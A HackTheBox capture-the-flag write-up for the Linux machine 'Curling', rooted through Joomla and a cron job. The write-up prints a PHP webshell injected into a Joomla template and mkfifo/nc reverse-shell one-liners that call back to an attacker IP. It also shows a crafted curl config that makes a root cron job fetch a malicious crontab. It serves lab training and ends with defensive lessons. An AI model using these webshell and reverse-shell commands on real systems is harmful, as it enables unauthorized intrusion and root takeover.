Curling - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Curling is an Easy difficulty Linux machine that emphasizes enumeration and creative exploitation. The initial foothold involves discovering credentials embedded in the web root and leveraging a Joomla CMS template editor to achieve RCE. Lateral movement requires analyzing a hex dump artifact and decompressing multiple nested archives to extract user credentials. Privilege escalation exploits a cron job that executes curl with a writable config file, allowing arbitrary command execution as root.

TL;DR: Discover secret.txt → Decode base64 password → Login Joomla admin → Modify PHP template for RCE → Find hex dump password_backup → Extract nested archives → SSH as floris → Manipulate curl cron config → Root shell.

Reconnaissance

Port Scanning

# Fast port scan to identify open ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.150 | grep ^[0-9] | cut -d'/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed enumeration on discovered ports
nmap -sC -sV -p$ports 10.10.10.150 --open

Results:

• Port 22/TCP: SSH (OpenSSH 7.6p1)
• Port 80/TCP: HTTP (Apache 2.4.29, Joomla CMS)

Service Enumeration

Apache on Port 80:

Navigating to http://10.10.10.150/ reveals a Joomla website homepage. The page displays two usernames: “Super user” and “Floris”.

Source Code Analysis:

Examining the HTML source reveals a comment referencing secret.txt:

# Download and decode the secret file
curl -s http://10.10.10.150/secret.txt | base64 -d

Output: Curling2018!

This appears to be a password. The username “Floris” was visible on the homepage.

Admin Panel Discovery:

Navigating to http://10.10.10.150/administrator/ reveals a Joomla login panel. Testing credentials:

• Username: Floris
• Password: Curling2018!

These credentials successfully authenticate.

Vulnerability Assessment

1. Hardcoded Credentials in Web Root: Password stored in base64-encoded file accessible via HTTP
2. Joomla Template Editor Access: Authenticated users can modify PHP template files directly
3. Unrestricted Code Execution: Template editor allows arbitrary PHP code injection
4. Insecure Cron Configuration: Cron job executes curl with user-writable config file

Initial Foothold

Exploitation Path

Step 1: Authenticate to Joomla Admin Panel

Login with the discovered credentials (Floris / Curling2018!) to access the administrative dashboard.

Step 2: Inject PHP Code into Template

Navigate to the template editor:

• Dashboard → Configuration → Templates → Templates → Protostar
• Edit the index.php file
• Add command execution payload:

system($_REQUEST['pwn']);

Click “Save” to persist the modification.

Step 3: Execute Remote Commands

With the PHP code injected, execute arbitrary commands via HTTP:

# Test RCE
curl http://10.10.10.150/index.php -G --data-urlencode 'pwn=id'

Step 4: Establish Reverse Shell

Create a reverse shell connection:

# On attacker machine, start listener
nc -lvnp 1234

# Execute reverse shell payload via curl
curl http://10.10.10.150/index.php -G --data-urlencode 'pwn=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 1234 >/tmp/f'

Step 5: Upgrade Shell to TTY

Stabilize the shell for better usability:

python3 -c "import pty;pty.spawn('/bin/bash')"

Privilege Escalation

Lateral Movement: User Floris

Step 1: Discover Backup File

Navigate to the user’s home directory:

ls -la /home/floris/
# Discovers: password_backup

The password_backup file appears to be a hex dump created with xxd.

Step 2: Reverse Hex Dump and Decompress

Reverse the hex encoding and begin decompression:

cd /tmp
cp /home/floris/password_backup .
cat password_backup | xxd -r > bak
file bak
# Output: bzip2 compressed data

Step 3: Extract Nested Archives

The backup file is compressed using multiple layers. Extract sequentially:

# First layer: bzip2
bzip2 -d bak

# Check new file type
file bak.out
# Output: gzip compressed data

# Second layer: gzip
mv bak.out bak.gz
gzip -d bak.gz

# Check file type
file bak
# Output: bzip2 compressed data

# Third layer: bzip2
bzip2 -d bak

# Check file type
file bak.out
# Output: POSIX tar archive

# Extract tar archive
tar xf bak.out

# Retrieve password
cat password.txt

Step 4: SSH as Floris

Connect via SSH using the extracted password:

ssh floris@10.10.10.150
# Password: [extracted from password_backup decompression]

Privilege Escalation: Root

Step 1: Enumerate Running Processes with pspy

Download and transfer pspy to monitor cron jobs:

# On attacker machine
wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s

# Transfer to target
scp pspy64s floris@10.10.10.150:/tmp

# On target, monitor processes
cd /tmp
chmod +x pspy64s
./pspy64s

Output: Identifies a cron job executing:

curl -K /tmp/input -o /tmp/report

Step 2: Analyze Curl Config Usage

The cron executes curl with the -K flag, which reads a configuration file. The /tmp/input file is writable by the floris user, enabling config injection.

Step 3: Create Malicious Curl Config

Create a reverse shell payload in the curl config format. First, prepare the payload locally:

# On attacker machine, create malicious crontab
cp /etc/crontab .
echo '* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 1234 >/tmp/f' >> crontab

# Start HTTP server to serve the config
python3 -m http.server 80

Step 4: Inject Curl Config

On the target machine, overwrite the curl config:

# Create malicious input file
cat > /tmp/input << 'EOF'
url = "http://10.10.14.2/crontab"
output = "/etc/crontab"
EOF

Step 5: Receive Root Shell

Wait for the cron to execute (typically within 1 minute):

# On attacker machine, listener receives root shell
nc -lvnp 1234

Attack Chain Summary

Enumerate Port 80 → Discover secret.txt → Decode Base64 (Curling2018!)
→ Login Joomla Admin (Floris) → Inject PHP in Template
→ Execute RCE via /index.php → Reverse Shell (www-data)
→ Find password_backup → Reverse xxd Hex Dump → Decompress Nested Archives
→ Extract Password → SSH as floris → Discover Curl Cron Job (pspy)
→ Overwrite /tmp/input Config → Inject Malicious Crontab URL
→ Root Shell Execution

Tools Used

Key Learnings

Techniques Practiced

• Extracting and decoding base64-encoded credentials from web root files
• Exploiting CMS template editors to achieve arbitrary code execution
• Analyzing and reversing hex dumps using xxd
• Handling nested compression layers (bzip2, gzip, tar) in sequence
• Monitoring system processes to identify cron job exploitation vectors
• Manipulating curl configuration files for command injection
• Establishing and upgrading reverse shells

Lessons Learned

1. Web Root File Storage: Never store sensitive credentials (even base64-encoded) in accessible web directories; they can be discovered during enumeration.

2. CMS Security: Restrict administrative access to template editors or implement code review workflows; direct PHP editing is a critical vulnerability.

3. File Permissions Matter: Writable world/group files in /tmp can be leveraged for privilege escalation when combined with privileged processes.

4. Cron Job Exploitation: Monitor what configuration files cron jobs read; user-writable configs are a privilege escalation vector.

5. Nested Archives: Always check file types iteratively when dealing with backups; multiple compression layers require systematic extraction.

6. Process Monitoring: Tools like pspy reveal scheduled tasks and potential attack surfaces that traditional enumeration might miss.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>